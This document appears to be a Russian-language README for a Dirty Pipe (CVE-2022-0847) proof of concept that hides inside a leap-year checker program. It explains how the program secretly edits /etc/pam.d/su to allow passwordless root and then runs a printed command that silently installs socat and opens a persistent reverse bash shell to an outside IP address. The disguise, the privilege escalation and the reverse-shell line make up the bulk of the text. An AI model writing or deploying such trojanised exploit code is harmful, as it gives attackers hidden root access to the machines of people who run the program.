
Использование CVE-2022-0847, "Dirty Pipe Exploit", для запуска обратной bash-оболочки с целью выполнения произвольного кода на чужой машине.
Это POC, показывающий, как получить обратную bash-оболочку для выполнения произвольного кода на удалённой машине с помощью CVE-2022-0847, «Dirty Pipe Exploit». Эта уязвимость затрагивает только ядра Linux версий 5.8 и новее, но была исправлена в версиях 5.16.11, 5.15.25, 5.10.102 и выше. Обновите ваше ядро :)
Этот эксплойт был найден исследователем безопасности Max Kellermann. Я не буду вдаваться в детали этого эксплойта, так как он делает это гораздо лучше меня в своей статье; https://dirtypipe.cm4all.com/
Этот proof of concept на первый взгляд представляет собой простую программу определения високосного года, которая сообщит вам, является ли указанный год високосным.
В фоновом режиме я изменяю строку в /etc/pam.d/s
Я изменяю строку auth sufficient pam_rootok.so на auth sufficient pam_permit.so. Это изменение позволяет нам выполнять команды от имени суперпользователя без ввода пароля.
После этого мы можем просто использовать функцию system() из C для выполнения команд от имени суперпользователя (su).
Я выполняю
su -c \"apt-get -y install socat\" > /dev/null; socat TCP4:172.23.46.133:4444 EXEC:/bin/bash & exit
Эта строка устанавливает socat в систему и перенаправляет вывод в нулевой файл, чтобы пользователь не видел вывод загрузки. Затем я выполняю команду socat для подключения к удалённой машине с указанными IP-адресом и портом.
Символ & переводит этот процесс в фоновый режим, поэтому после закрытия пользователем терминала соединение всё равно будет удерживаться.
Выполнение программы на уязвимой машине:

Подключение к уязвимой машине:
